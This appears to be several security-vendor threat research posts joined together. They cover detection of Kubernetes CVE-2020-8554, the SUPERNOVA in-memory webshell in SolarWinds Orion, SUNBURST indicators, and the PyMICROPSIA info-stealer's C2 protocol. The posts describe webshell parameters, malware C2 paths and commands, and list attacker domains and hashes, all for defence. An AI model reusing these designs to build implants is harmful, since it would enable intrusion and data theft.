Multi-tenant clusters are most at risk, as they are most likely to implement the vulnerable configuration above. Multi-tenant clusters often segregate tenants using Kubernetes namespaces, limiting each tenant’s permissions to its namespace. Unfortunately, even if a tenant can only manage service and pods in his own namespaces, it can still exploit CVE-2020-8554 to eavesdrop on traffic from the entire cluster. Attackers that comprise a single tenant may exploit the vulnerability to intercept other tenants’ traffic and compromise them.
You may have been attacked if one of the following is true:
A service that shouldn’t expose external IPs or Load Balancer IPs does so.
An external IP or Load Balancer IP of a service matches an internal IP in the cluster – a pod IP or a clusterIP of another service.
An external IP or Load Balancer IP of a service points to a known external domain (e.g. 8.8.8.8). Run nslookup <externalIP> to identify if an IP points to a known domain.
A Load Balancer IP of a service is 127.0.0.1 (indicates an attempt to hijack node localhost traffic).
To identify services in your cluster that expose external IPs, run the following command:
1
kubectl get services--all-namespaces-o=jsonpath='{"NAMESPACE\tNAME\tEXTERNAL IPS\n"}{range .items[?(.spec.externalIPs)]}{.metadata.namespace}{"\t"}{.metadata.name}{"\t"}{.spec.externalIPs}{"\n"}{end}'|column-t-s"$(printf '\t')"
To identify services in your cluster that expose Load Balancer IPs, run the following command:
1
kubectl get services--all-namespaces-o=jsonpath='{"NAMESPACE\tNAME\tLOAD BALANCER IPs\n"}{range .items[?(.status.loadBalancer.ingress[*].ip)]}{.metadata.namespace}{"\t"}{.metadata.name}{"\t["}{range .status.loadBalancer.ingress[*]}{"\""}{.ip}{"\","}{end}{"]\n"}{end}'|sed's/\(.*\),/\1/'|column-t-s"$(printf '\t')"
Mitigations
The Kubernetes Product Security Committee concluded that the vulnerability could not be patched without functionality changes to features Kubernetes users rely upon. Instead, it recommended enforcing mitigations that restrict access to the vulnerable features. To prevent the use of External IPs, the committee provided two solutions: a custom Admission Controller and an OPA Gatekeeperconstraint as solutions.
No mitigations were provided for Load Balancer IPs. Exploiting the issue through Load Balancer IPs requires the patch service/status permission, which is considered privileged. Ensure that unprivileged cluster users do not possess this permission. System components are the ones that normally update the status of a service, so user accounts doing so should raise suspicions.
Conclusion
CVE-2020-8554 is a unique vulnerability that is rooted in the design of Kubernetes Services. If your cluster is multi-tenant, or allows unprivileged users to create and update services, you are impacted. If applications within your cluster communicate without enforcing encryption via TLS, you're at greater risk. Even though the vulnerability is unpatched, the mitigations proposed by the Kubernetes Product Security Committee can effectively prevent exploitation. Prisma Cloud Compute customers are encouraged to enable the admission rules in the ‘Prisma Cloud Compute Mitigations’ section to protect their clusters.
Appendix: Prisma Cloud Compute Mitigations
Prisma Cloud Compute’s built-in Admission support for Rego rules can be used to implement the mitigations proposed by the Kubernetes Product Security Committee.
Restrict Access to External IPs
Customers can use the following instruction to set up an Admission rule to block services from exposing external IPs. Customers can optionally provide a whitelist for allowed IPs.
1. Follow Prisma Cloud Compute documentation to enable Admission Control in your cluster.
3. Navigate to ‘Defend/Access/Admission’ and hit ‘Import’, then choose the downloaded rule template. You should be presented with the dialog below. Press ‘Add’.
4. To whitelist certain IPs for use as external IPs, update the rule as outlined in Figure 3. The following rule whitelists IP 203.54.74.83.
Figure 3. Whitelisting certain IPs as allowed external IPs.
Once the rule is in place, attempts to set up services that expose forbidden external IPs will fail and trigger an alert under ‘Monitor/Event/Admission audits’.
Figure 4. The admission rule blocks services that expose forbidden external IPs.Figure 5. Assigning potentially malicious external IPs triggers alerts.
You can press on each alert to view the request’s details.
Alert on suspicious updates to Load Balancer IPs
Typically, only system accounts should assign Load Balancer IPs to services. User accounts doing so may indicate a user is trying to exploit CVE-2020-8554. Unless that is not the case in your cluster, we recommend following the instructions below to enforce an appropriate rule set on Alert.
1. Follow Prisma Cloud Compute documentation to enable Admission Control in your cluster.
2. Add services/status to the resources monitored by Prisma Cloud Compute’s admission webhook. Run the following command to update Prisma Cloud Compute’s webhook configuration:
Note: If you have custom Prisma Cloud Compute admission rules in place that handle service update operations, they’ll start receiving services/status update requests as well after running the above command. Add the following line to these rules to discard services/status requests:
4. Navigate to ‘Defend/Access/Admission’ and hit ‘Import’, then choose the downloaded rule template. You should be presented with the dialog below. Press ‘Add’.
5. If certain accounts are expected to configure Load Balancer IPs, the IP whitelist approach implemented in the external IPs rule can be used.
Once the rule is in place, Prisma Cloud Compute will alert on requests made by user accounts that patch the status of a Load Balancer service. Alerts will show up under ‘Monitor/Event/Admission audits’. You can press on each alert to view the request’s details.
Figure 7. Prisma Cloud Compute alerts on users adding Load Balancer IPs to a service.
The actors behind the supply chain attack on SolarWinds’ Orion software have demonstrated a high degree of technical sophistication and attention to operational security, as well as a novel combination of techniques in the potential compromise of approximately 18,000 SolarWinds customers. As published in the original disclosure, the attackers were observed removing their initial backdoor once a more legitimate method of persistence was obtained.
In the analysis of the trojanized Orion artifacts, the .NET .dll app_web_logoimagehandler.ashx.b6031896.dll was dubbed SUPERNOVA, but little detail of its operation has been publicly explored. NOTE: The SUPERNOVA webshell’s association with the SolarStorm actors is now questionable due to the aforementioned .dll not being digitally signed, unlike the SUNBURST .dll. This may indicate that the webshell was not implanted early in SolarWinds’ software development pipeline as was SUNBURST, and was instead dropped by a third party. Additionally, Guidepoint Security conducted their own research into SUPERNOVA, with similar conclusions.
In this blog, we will share an overview of its operation and function, tactics and techniques that support the hypothesis of an advanced persistent threat (APT), and what protections that Palo Alto Networks provides against trojanized SolarWinds instances:
Attackers created a sophisticated, in-memory webshell baked into Orion’s code, which acted as an interactive .NET runtime API.
Webshell payload was compiled on the fly and executed dynamically, further complicating endpoint and digital forensics and incident response (DFIR) analysis.
Anti-Spyware signature 83225 has been added to prevent SUPERNOVA traffic.
Technical Overview
In conventional webshell attacks, these server script pages are often some sort of interactive frontend document that can be manipulated to process backend side effects, which is most often some form of remote code execution (RCE). A webshell may be uploaded, downloaded or deployed by either targeting a misconfiguration or vulnerability in the underlying server, or dropped during post-exploitation as a means of secondary persistence. A webshell itself is typically malware logic embedded in a script page and is most often implemented in an interpreted programming language or context (most commonly PHP, Java JSP, VBScript and JScript ASP, and C# ASP.NET). The webshell will receive commands from a remote server and will execute in the context of the web server’s underlying runtime environment.
The SUPERNOVA webshell is also seemingly designed for persistence, but its novelty goes far beyond the conventional webshell malware that Unit 42 researchers routinely encounter.
Although .NET webshells are fairly common, most publicly researched samples ingest command and control (C2) parameters, and perform some relatively surface-level exploitation. Some examples would be an attacker commanding the implant to dump directory structures or operating system information, or to perform a network call to load more exploitation tools.
SUPERNOVA differs dramatically in that it takes a valid .NET program as a parameter. The .NET class, method, arguments and code data are compiled and executed in-memory. There are no additional forensic artifacts written to disk, unlike low-level webshell stagers, and there is no need for additional network callbacks other than the initial C2 request.
In other words, the attackers have constructed a stealthy and full-fledged .NET API embedded in an Orion binary, whose user is typically highly privileged and positioned with a high degree of visibility within an organization’s network. The attackers can then arbitrarily configure SolarWinds (and any local operating system feature on Windows exposed by the .NET SDK) with malicious C# code. The code is compiled on the fly during benign SolarWinds operation and is executed dynamically.
This is significant because it allows the attacker to deploy full-featured – and presumably sophisticated – .NET programs in reconnaissance, lateral movement and other attack phases.
Implant Phase
The implant itself is a trojanized copy of app_web_logoimagehandler.ashx.b6031896.dll, which is a proprietary SolarWinds .NET library that exposes an HTTP API. The endpoint serves to respond to queries for a specific .gif image from other components of the Orion software stack. The relatively high quality code that was added to the .dll is innocuous and easily missed by defender automation, and even potentially by manual review.
The attackers have leveraged the benign file by adding four new parameters to the API and a malicious method that executes the parameters in the context of the .NET runtime on the Orion host. Figure 1 below demonstrates the normal or benign content of the Orion component.
Figure 1. Benign SolarWinds code for handling the HTTP request and its response.
Line 42 defines the collection of the parameters supplied to the HTTP endpoint, in which only id is valid and processed. However, the additional C2 parameters are added before this snippet in the same method, ProcessRequest(), and the execution method is appended in this same file. Figure 2 shows part of the malicious code (lines 27-41).
Figure 2. Four C2 parameters are processed and then passed to the malicious method DynamicRun().
The four parameters depicted above – codes, clazz, method and args – passed via GET query string to the trojanized logo handler component. These parameters are then executed in a custom method, which differs from typical webshell behavior that simply invokes underlying operating system or programming language functions.
C2 Parameter
Purpose
clazz
C# Class object name to instantiate
method
Method of class clazz to invoke
args
Arguments are newline-split and passed as positional parameters to method
codes
.NET assemblies and namespaces for compilation
Table 1. Command and control parameters
Note for defenders:
Any ingress traffic to logoimagehandler.ashxwith a combination of these four parameters in any order of the query string are strong indicators of compromise (IOCs). If a detection fires on this combination in any order, please isolate and image your Orion instance immediately. If the request came internal to the network, then it is highly probable that the user that initiated the request has also been compromised.
Execution
The attacker may send a request to the embedded webshell over the internet or through an internally compromised system. The code is crafted to accept the parameters as components of a valid .NET program, which is then compiled in-memory. No executable is dropped (and thus the webshell’s execution evades most defender endpoint detections), and the compiled assembly immediately invokes the specified class method.
The try/catch block beginning on line 27 that encompases the execution on line 37 has been added to presumably prevent operator error from causing an unhandled exception in Orion, which could trigger unwanted scrutiny. This is one small example of the attention paid by the actors to technical and operational security.
Figure 3. DynamicRun() compiles the C2 parameters into a .NET assembly in-memory.
On lines 106 and 107, we can observe the innocuous compiler API flags that are subverted to impede defenders. Line 115 instantiates the class object specified by the attacker, and on line 116 the attacker code is executed.
This design pattern is known as dynamic code execution. In software engineering contexts, this allows for the program to be flexible and extensible. In the context of a cyberattack, the same is true for the attacker’s code and tools.
Tactics, Techniques and Procedures
In many ways, this webshell exhibits attributes common to other types of webshells. The malware is secretly implanted onto a server, it receives C2 signals remotely and executes them in the context of the server user.
However, SUPERNOVA is novel and potent due to its in-memory execution, sophistication in its parameters and execution and flexibility by implementing a full programmatic API to the .NET runtime.
In-memory execution of a malicious binary is not a new technique with regard to malware behavior. That technique typically indicates an adversary’s attempt at foiling endpoint and DFIR detections.
However, this is rarely encountered in webshell behavior, as typical webshells execute their payloads either in the context of the runtime environment or by calling a subshell or process (cmd.exe, PowerShell.exe or /bin/bash).
SUPERNOVA compiles the parameters on the fly and executes the resulting assembly in-memory. Aside from evading detections, this indicates that the SolarStorm actors were adept enough to purposely hide their traffic and behavior in plain sight and to avoid leaving trace evidence behind.
Protections
Aside from the numerous protections offered across the Palo Alto Networks product suite, Anti-Spyware signature 83225 has been created to detect any residual C2 infrastructure still present in impacted networks.
Conclusion
The strategy of implanting webshells in vulnerable servers is not a new tactic for malicious actors. However, the relative sophistication of the code compared to routine webshell malware is surprising. Furthermore, the furor of the attacks against SolarWinds further amplifies interest in novel techniques such as those used in SUPERNOVA.
The only way to catch advanced intrusions is a defense-in-depth strategy. Only by orchestrating multiple security appliances and applications in a single pane can defenders detect these attacks.
Palo Alto Networks customers are protected by the following:
On Sunday, Dec. 13, FireEye released information related to a breach and data exfiltration originating from an unknown actor FireEye is calling UNC2452. Unit 42 tracks this and related activity as the group named SolarStorm, and has published an ATOM containing the observed techniques, IOCs and relevant courses of action in the Unit 42 ATOM Viewer. According to FireEye, SolarStorm has compromised organizations across the globe via a supply chain attack that consists of a trojanized update file for the SolarWinds Orion Platform.
Any organization utilizing SolarWinds Orion IT management software is potentially at risk from this threat. These organizations should immediately identify Orion systems in their network, determine if they are compromised with the SUNBURST backdoor and seek out further evidence of compromise. Instructions on how to perform these tasks using the Palo Alto Networks Next Generation Firewall, Cortex XDR and XSOAR are available in this report, as well as additional resources and indicators of compromise (IOCs). Palo Alto Networks has also launched SolarStorm Rapid Response Programs.
The details of this attack and its impact continue to evolve. We will update this report with new details as they become available.
What’s Known About SolarStorm and SUNBURST
SolarStorm specifically targeted supply chains during their attack on SolarWinds’ Orion IT performance and statistics monitoring software.
SolarStorm is a highly skilled threat actor, with a significant operational security mindset, as can be observed in its post-exploitation activity.
SolarWinds recently filed an SEC report indicating that, while they have over 300,000 customers, fewer than 18,000 customers were running the trojanized version of the Orion software.
SolarStorm threat actors created a legitimate digitally signed backdoor, SUNBURST, as a trojanized version of a SolarWinds Orion plug-in. The trojanized software acts as a powerful supply chain infiltration mechanism for delivery.
SUNBURST has been observed delivering multiple payloads, mostly focused on memory-only droppers, such as the FireEye-dubbed TEARDROP and Cobalt Strike BEACON.
SUNBURST’s command and control (C2) traffic masquerades as legitimate Orion Improvement Program traffic.
FireEye has released signatures and specific indicators to help identify SolarStorm’s activity.
FireEye’s research has been a cornerstone in providing not only useful signatures, but also indicators which help with tracking and hunting for SolarStorm activity. A synopsis of those indicators is included below.
SUNBURST
At the time of this publication, the Windows Installer Patch file including the trojanized version of the SolarWinds Orion product was still reachable:
C2 domains found during SUNBURST incidents, including CNAME records, or subsequent phases of the incident, such as BEACON components:
freescanonline[.]com
deftsecurity[.]com
thedoccloud[.]com
websitetheme[.]com
highdatabase[.]com
incomeupdate[.]com
databasegalore[.]com
panhardware[.]com
Zupertech[.]com
Virtualdataserver[.]com
digitalcollege[.]org
solartrackingsystem[.]net
webcodez[.]com
seobundlekit[.]com
virtualwebdata[.]com
lcomputers[.]com
avsvmcloud[.]com
Mobilnweb[.]com
kubecloud[.]com
TEARDROP
SUNBURST deployed several different payloads, and in at least one instance, a memory-only dropper FireEye dubbed TEARDROP to deploy a Cobalt Strike BEACON. During analysis of the information available, Unit 42 identified related activity involving TEARDROP malware that was used to execute a customized Cobalt Strike BEACON. This sample contains a beacon request to the previously unreported domain mobilnweb[.]com.
The TEARDROP DLL has a SHA256 of: 118189f90da3788362fe85eafa555298423e21ec37f147f3bf88c61d4cd46c51
and contains a beacon request for the URI /2019/Person-With-Parnters-Brands-Our/ with the User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36. Within that same configuration, we also observed an additional URI setting containing the string /2019/This-Person-Two-Join-With/.
Protecting Our Customers
As of the time of writing, based on signatures and observables that have been released, Palo Alto Networks customers are protected across our product ecosystem, with specific protections deployed or being deployed in the following products and subscriptions for the Next-Generation Firewall (NGFW). It is imperative for customers to employ the best practices for Palo Alto Networks products in order to ensure your appliances are configured in a manner best suited for your protection.
Due to the nature of these attacks, we recommend our customers perform the following searches immediately. If you are unable, Palo Alto Networks will help you locate SolarWinds Orion servers owned by your organization and assess whether you’ve been compromised free of charge. After we’ve completed our analysis, we’ll provide you with a SolarStorm Assessment Report brought to you by Expanse and Crypsis.
Cortex XDR customers are protected using the product’s WildFire integration, as well as through Local Analysis, the Password Theft Protection module and the Behavioral Threat Protection (BTP) engine. Protections are continually being evaluated, developed and deployed for Cortex XDR.
Our Cortex XDR Managed Threat Hunting Team (MTH) has proactively searched all Cortex XDR Pro customer logs to identify potentially impacted organizations and provide them an assessment of their risk.Leverage thepower of automation with Cortex XSOAR to speed up the discovery of SolarWind installations within your network, uncover signs of potential SolarStorm activity and automate response actions such as the quarantining of compromised endpoints.
Customers using WildFire are protected from downloading known SUNBURST backdoor files and Cobalt Strike BEACON files associated with SolarStorm.
Gap analysis and threat hunting leveraging the FireEye-provided Yara signatures and observables has enabled Unit 42 researchers to identify potential malware samples. We continue to seek out new malware associated with SolarStorm, build and deploy protections for them within WildFire.
The IoT Security subscription has the capability of identifying SolarWinds servers. These devices are being added to the IoT Security user portal UI, and the Device-ID attribute will be pushed to PAN-OS. These devices will be displayed to users as "SolarWinds Network Management Device" within the IoT Security user portal UI. In PAN-OS, users will see the Device-ID attribute "Profile" = "SolarWinds Network Management Device". This feature will be enabled for all IoT Security customers this week.
Threat Prevention and DNS Security provide protection against C2 beacons and associated traffic. Protections are continually being evaluated, developed and deployed for Threat Prevention subscription.
The following threat prevention signatures have been added with Content version 8354:
Unit 42 researchers have been tracking the threat group AridViper, which has been targeting the Middle Eastern region. As part of this research, a new information-stealing Trojan with relations to the MICROPSIA malware family has been identified, showing that the actor maintains a very active development profile, creating new implants that seek to bypass the defenses of their targets. We have named this new malware family PyMICROPSIA because it is built with Python.
Figure 1 below provides a high-level overview of the capabilities of the PyMICROPSIA malware family and similarities observed with previous AridViper activity. While investigating PyMICROPSIA capabilities, we identified two additional samples hosted in the attacker’s infrastructure, which are downloaded and used by PyMICROPSIA during its deployment. The additional samples provide persistence and keylogging capabilities, which we discuss later.
Figure 1. PyMICROPSIA overview.
In this blog, we will detail the functionality and objectives of PyMICROPSIA and analyze its command and control (C2) implementation. We will also highlight the main observations that allow us to attribute PyMICROPSIA to previous AridViper activity.
PyMICROPSIA has a rich set of information-stealing and control capabilities, including:
File uploading.
Payload downloading and execution.
Browser credential stealing. Clearing browsing history and profiles.
Taking screenshots.
Keylogging.
Compressing RAR files for stolen information.
Collecting process information and killing processes.
Collecting file listing information.
Deleting files.
Rebooting machine.
Collecting Outlook .ost file. Killing and disabling Outlook process.
Deleting, creating, compressing and exfiltrating files and folders.
Collecting information from USB drives, including file exfiltration.
Audio recording.
Executing commands.
Implementation Overview
PyMICROPSIA is an information-stealing Trojan built with Python and made into a Windows executable using PyInstaller.
Figure 2. PyInstaller strings in PyMICROPSIA.
It implements its main functionality by running a loop, where it initializes different threads and calls several tasks periodically with the intent of collecting information and interacting with the C2 operator.
Figure 3. Main code loop.
The actor makes use of several interesting Python libraries to achieve its purposes, including both built-in Python libraries and specific packages. Some examples of information-stealing specific libraries are:
Figure 4. PyAudio library for audio recording.Figure 5. mss library for screenshots.
The usage of Python built-in libraries is expected for multiple purposes, such as interacting with Windows processes, Windows registry, networking, file system and so on.
Figure 6. Windows Registry interaction.Figure 7. Windows processes interaction.
For more specific interactions with the Windows operating system, it makes use of libraries such as:
WMI, for interaction with Windows Management Instrumentation.
Figure 8. WMI usage for USB interaction.Figure 9. win32security and ntsecuritycon usage.
An in-depth analysis of the code and capabilities of PyMICROPSIA can be found in the Appendix.
Command and Control
PyMICROPSIA implements a simple HTTP POST-based C2 protocol, using different Uniform Resource Identifier (URI) paths and variables during the communication depending on the functionality invoked (full details on the implementation can be found in the Appendix).
The following table summarizes the URI paths and corresponding functionality in PyMICROPSIA:
Path
Method
/zoailloaze/sfuxmiibif/samantha
Delete request. Unregister.
/zoailloaze/sfuxmiibif/lashawna
Device registration.
/zoailloaze/sfuxmiibif/matheny
Send command output data.
/zoailloaze/sfuxmiibif/uiasfvz
USB device information
/zoailloaze/sfuxmiibif/daryl
Delete request.
/zoailloaze/sfuxmiibif/qprbudls
Download payload.
/zoailloaze/sfuxmiibif/nyrvoz
Download URL.
/zoailloaze/sfuxmiibif/hortense1
Upload file.
Table 1. Main purpose of configuration folders and files.
It's also important to note that in the PyMICROPSIA samples analyzed, the C2-related code shows several code branches that will never be executed when responses are processed, likely because the actor is still actively working on the code. Based on the code sections that are reachable, the following table summarizes the commands and actions performed on the victim machine:
Command
Action
Lee
Register new device.
Renee
Delete device.
Rapunzel
Steal and upload browser credentials to C2.
Mulan
Collect and upload process list.
Silverman
Collect and upload file information in TXT format.
Eeyore
Delete Firefox profiles and de-register device.
Pocahontas
Collect and upload compressed file information in JSON detailed format.
InfoCinder
Collect and upload information regarding drives in the system.
Table 2. Reachable C2 commands and actions.
Is AridViper Working on New Attack Vectors?
PyMICROPSIA is designed to target Windows operating systems only, but the code contains interesting snippets checking for other operating systems, such as “posix” or “darwin”. This is an interesting finding, as we have not witnessed AridViper targeting these operating systems before and this could represent a new area the actor is starting to explore.
For now, the code found is very simple, and could be part of a copy and paste effort when building the Python code, but in any case, we plan to keep it on our radar while researching new activity.
Additional Payloads
During the C2 interactions, PyMICROPSIA downloads two additional samples that are dropped and executed on the victim’s system, running additional functionality. These payloads are not Python / PyInstaller based.
KeyLogger functionality
This is a very interesting case, as the keylogging functionality hasn’t been implemented natively as part of PyMICROPSIA. Instead, the sample downloads a specific payload (see the section on File Download Capabilities in the Appendix for details on how the payload is downloaded).
The payload is downloaded with filename “MetroIntelGenericUIFram.exe” and has the following SHA-256:
The sample implements keylogging capabilities using the GetAsyncKeyState API method:
Figure 10. Keylogger GetAsyncKey() code.
It has a hardcoded configuration directly related to the directory structure initialized by the main PyMICROPSIA sample, so it needs to be compiled according to it. It needs to run under a specific directory created by PyMICROPSIA (“ModelsControllerLibb”), and will store keystroke information under the “HPFusionManagerDell” folder.
Figure 11. Hardcoded configuration parameters.
The keylogger drops information into the HPFusionManagerDell directory with the following filename structure and format:
Persistence in this malware sample can be achieved via regular methods, such as setting up registry keys, which is done as part of the Python code as follows:
Figure 14. Registry key persistence.
However, there is something interesting about persistence in this implementation. The sample downloads another payload from the C2 server (see the File Download Capabilities section for more details). This payload is named “SynLocSynMomentum.exe”, with the following SHA-256:
It sets up persistence via the shortcut .lnk copied to the startup menu. It's striking that this code is run as a separate payload considering the amount of functionality already present in the Python code.
We unearthed PyMICROPSIA while investigating recent MICROPSIA activity related to the Middle Eastern region, and there are multiple aspects of the malware that link the activity to AridViper, including the following examples.
Code Overlaps
One of the first things that caught our attention regarding this sample was the C2 implementation and capabilities, which are quite similar to known MICROPSIA samples. For example, see the C2 descriptions in previous research by Radware and Check Point.
Also, one of the tactics, techniques and procedures (TTPs) observed across MICROPSIA samples is the use of rar.exe to compress data for exfiltration. In this version, rar.exe is downloaded from the C2 infrastructure and used with very similar parameters as observed in previous samples:
The URI path structures observed in multiple MICROPSIA samples follow a similar structure to the ones in the PyMICROPSIA samples. For example, if we look into the same recent MICROPSIA sample, we can observe the random characters and structure of the URI paths.
In the past, we have seen references in MICROPSIA to specific themes when it comes to code and C2 implementation, such as The Big Bang Theory or Game of Thrones, and this new implementation is not different, including multiple references to multiple famous actor names, both in code variables as well as in infrastructure used, as can be seen in Figures 15 and 16.
Figure 15. MICROPSIA is known for referencing themes in code, such as The Big Bang Theory and Game of Thrones. The reference to the actor Fran Drescher shown above seems in line with previous observations of themes.Figure 16. MICROPSIA is known for referencing themes in code, such as The Big Bang Theory and Game of Thrones. The reference to the actor Keanu Reeves shown above seems in line with previous observations of themes.
Also, as described in the Command and Control section, the C2 operations contain a lot of Disney references.
Another interesting detail is the presence of Arabic comments in the code:
Python
1
Delete_Request_Error('لم يتم ضغط هذا الملف!!..')
This could be a false flag, but it is another possible link to the regional attribution of this malware sample.
Conclusion
AridViper is an active threat group that continues developing new tools as part of their arsenal. PyMICROPSIA shows multiple overlaps with other existing AridViper tools such as MICROPSIA. Also, based on different aspects of PyMICROPSIA that we analyzed, several sections of the malware are still not used, indicating that it is likely a malware family under active development by this actor.
Palo Alto Networks customers are protected from the attacks outlined in this blog in the following ways:
All known AridViper tools, including MICROPSIA and PyMICROPSIA, have malicious verdicts in WildFire.
AutoFocus customers can track the AridViper actor and its tools.
Cortex XDR blocks both PyMICROPSIA and the dropped payloads.
C2 domains have been categorized as Command and Control in URL Filtering and DNS Security.
As part of the malware initialization, it's important to highlight two main aspects of PyMICROPSIA:
Creates multiple folders with different purposes.
Defines a list of C2 servers.
Figure 17. Directory structure during initialization.
The main purpose for each of the files and folders defined in the initial malware configuration is summarized in the following table:
Directory
Purpose
Rar_com_Folder
Storage for RAR compressed information.
DevName
Storage for RAR compressed information.
DevNameSound
Storage for audio recorded files.
DevNameKeyPress
Storage for keylogger output information.
MyFolderName
Multipurpose folder. Stores configuration, output with information collected, etc.
downloadNameApp
Filename for applications downloaded from the C2.
NameApps
Filename for applications downloaded from the C2.
NameAppShurt
Filename for shortcut created for persistence.
Table 3. Main purpose of configuration folders and files.
Device Identifier
Devices are identified based on a combination of computer name, username and a randomly generated code. Once the code is generated, it’s stored under the multipurpose folder “MyFolderName”.
Figure 18. Initialization of device name.
This identifier function will be used during C2 communications to keep track of the target.
C2 Selection
From a network perspective, the malware picks up a C2 server from the configured list based on a connectivity test via a POST request to a specific path:
Figure 19. Network C2 selection.
It then stores the resulting selected domain under the “MyFolderName” multipurpose folder.
Figure 20. Selected domain configuration storage.
Main Activity Loop
Once the initial setup is complete, the malware capabilities start by entering into a loop (see Figure 3) where:
Several independent threads for audio recording and file uploading are started.
Specific tasks are run periodically, covering the following main areas: persistence, keylogging, screenshots and interaction with the C2 operator.
C2 Implementation
Protocol Implementation
The protocol implemented is simple. Messages are sent via HTTP POST requests, using different URI paths and variables depending on the functionality invoked.
For example, when a file is uploaded, an HTTP POST request is built as follows:
Form-encoded data, using ‘beau’, ‘type’ and ‘FComp’ variables.
Some parameters can contain multiple components, such as ‘beau’ in this case, and they are split with the use of ‘;’.
When responses are received, if they contain operations to execute, they are sent via strings with components split with ‘;’ as delimiter. For example, the following code snippet shows the communication with the C2 operator and how it treats the response (only some interesting portions are shown for brevity):
The response is split via ‘;’ delimiter, and depending on the position, contains parameters that can be received in plain text or encoded in base64, depending on each situation.
The following table summarizes the paths and parameters used during the C2 interactions and their functionality:
Path
Method
Variables
/zoailloaze/sfuxmiibif/samantha
Delete request. Unregister.
beau
/zoailloaze/sfuxmiibif/lashawna
Device registration.
beau
/zoailloaze/sfuxmiibif/matheny
Send command output data.
beau, terrel
/zoailloaze/sfuxmiibif/uiasfvz
USB device information
beau, type
/zoailloaze/sfuxmiibif/daryl
Delete request.
arturo, beau
/zoailloaze/sfuxmiibif/qprbudls
Download payload.
beau
/zoailloaze/sfuxmiibif/nyrvoz
Download URL.
beau
/zoailloaze/sfuxmiibif/hortense1
Upload file.
beau, type, FComp, terrel
Table 4. Paths and parameters used during C2 interactions and their functionality..
Interacting with C2 Operator
Based on the main activity loop, there will be a periodic call to the C2 server, and it will begin by sending information regarding the device (device identifier), as well as the last modified time in disk.
It's interesting to see how this captures the latest disk activity date. The code shows that it is incomplete, as in this case, the type is ‘4’, and it will always return the string ‘empty’ instead of any kind of date:
There are several examples of implementations like this across the code, which show an incomplete or ongoing implementation, which is a signal that the sample is still under active development by the actor.
As we mentioned before, the response string is split by its delimiter and the commands and encoded parameters sent by the C2 operator are parsed. As an interesting fact, the commands are full of references to Disney (in the past, we have seen AridViper using variables referencing characters of The Big Bang Theory or Game of Thrones, for example).
Figure 21. C2 commands example.
Another interesting example of incomplete code is the fact that the code won’t be able to go through all the possible branches and functionality in the C2 implementation. For example, in the following code snippet, if the code enters into the “Mulan” branch, it won’t enter into the “Vanellope” code block:
This is another signal of incomplete implementation and possible active development.
A summary of the commands that are reachable by code execution has been provided in Table 2.
Information-Stealing and Control Capabilities
This malware sample has a rich set of information-stealing and control capabilities, whether they’re reachable in the current C2 implementation or not. The following sections will detail some of the most relevant capabilities only, in order to provide visibility into how this malware family is implemented.
Audio Recording
Audio recording is achieved with the usage of the pyaudio and wave Python libraries. Data is stored under the “DevNameSound” folder.
Figure 22. Audio recording implementation.
The recordings are stored in the corresponding folder, and the running threads as well as the operator commands will allow for the retrieval of the information captured.
File Download Capabilities
The ability to download files from the C2 is implemented via a POST request to the following URL path:
/zoailloaze/sfuxmiibif/qprbudls
As part of the POST request, a parameter named “beau” will be used to specify the type of file download. Based on its value, it can download specific payloads as well as given URLs. The code looks as follows:
Figure 23. Download code example.
Value of “beau”
Action
‘1’
Download a legit version or rar.exe.
‘2’
Download MetroIntelGenericUIFram.exe.
‘3’
Download SynLocSynMomentum.exe.
A given URL
Download from any specified URL.
Table 5. Values of “beau” for sample download.
File Uploading
The malware sample starts threads that will periodically upload compressed samples located in different folders.
Figure 24. Upload threads initialized by the sample.
File uploads are performed via POST request to the following path:
/zoailloaze/sfuxmiibif/hortense1
Data is specified via a POST parameter, “beau”, that can contain several variables, always delimited with “;”. Files are specified with a POST parameter named “terrel”.
Both the mentioned threads, as well as the operators via C2 interaction, can invoke upload code. Here is one example of such a method, where the implementation can be observed:
Figure 25. Upload method example.
Screenshot Capabilities
Screenshots are sent to the C2 using Python’s mss library both periodically as well as on demand if the C2 operator sends the appropriate command.
Figure 26. Screenshot capabilities.
File Gathering Information
Throughout the code, multiple methods oriented toward collecting information can be found. The methods are invoked based on different interactions with the C2 operator, and they give the operators flexibility on what kind of information they want to collect.
For example, there are generic methods to collect specific folders and with different levels of information detailed, as can be seen in several of the figures below.
Figure 27. Collection of samples under C:\users and C:\Documents and Settings.Figure 28. Detailed collection of samples under several folders of interest in JSON format.
There are methods to collect information from external drives:
Figure 29. Example of USB information collection.
As well as other approaches, such as methods to focus on specific file extensions.
Figure 30. Example of collection of file information by specific extension type.
File Retrieval
File operators have plenty of commands that allow different types of files to be collected from disk. This method of collection is normally accomplished by selecting the target files and using the legitimate RAR utility to compress data that will be uploaded to the C2. The following example shows how the commands focus on specific extensions:
Figure 31. Example of file selection, compression and gathering by extension type.
Command Execution
The AridViper operators have the ability to send parameters together with the commands across the C2 interaction. These commands are split by a specific delimiter ‘;’ in this sample, travelling encoded in base64. The sample has different options implemented, allowing the operators very flexible execution of commands such as download and execution of payloads from a given URL, process execution, etc.
Figure 32. URL download and process execution examples.
On Dec. 8, 2020, one of the leading cybersecurity companies in the industry, FireEye, reported a breach and data exfiltration unlike any that we have seen previously. What makes this attack unique is not only the target, FireEye being a well-known cybersecurity company, but that the stolen data contains the internal, custom-crafted red-team and penetration testing tools used by the company to imitate different threat actors during customer security consultations. FireEye’s blog provided a wealth of information for defenders to implement security controls and mitigations for defense against the stolen tools. This data is being used by Palo Alto Networks to help ensure our customers are protected if the attackers choose to utilize the tools for malicious purposes.
It is important to note that these custom tools were not released into the wild, they were stolen by a sophisticated threat actor and we likely will not see a sudden widespread use of them. That being said, FireEye went beyond what was required – and what companies have done in the past – in releasing detection techniques. Providing defenders access to the Yara rules, indicators of compromise (IOCs), Snort signatures and other threat data is a class act and very much appreciated by defenders and researchers at Palo Alto Networks – and surely across the industry as a whole.
Protecting Our Customers
Palo Alto Networks has been working diligently to ensure the protections released by FireEye are implemented in a timely manner. The Github repository shared by FireEye contains a list of rules and 16 vulnerability CVE identifiers. The vulnerabilities appear to have been included because sufficient protections against these can help limit the effectiveness of the red-team tools.
Palo Alto Networks has ensured the protections within our products are either already in place or are being prioritized for the provided vulnerabilities and their exploitation. These vulnerabilities range from a wide variety of products, and as always, we highly recommend our customers stay current with their updates and patch all vulnerable software.
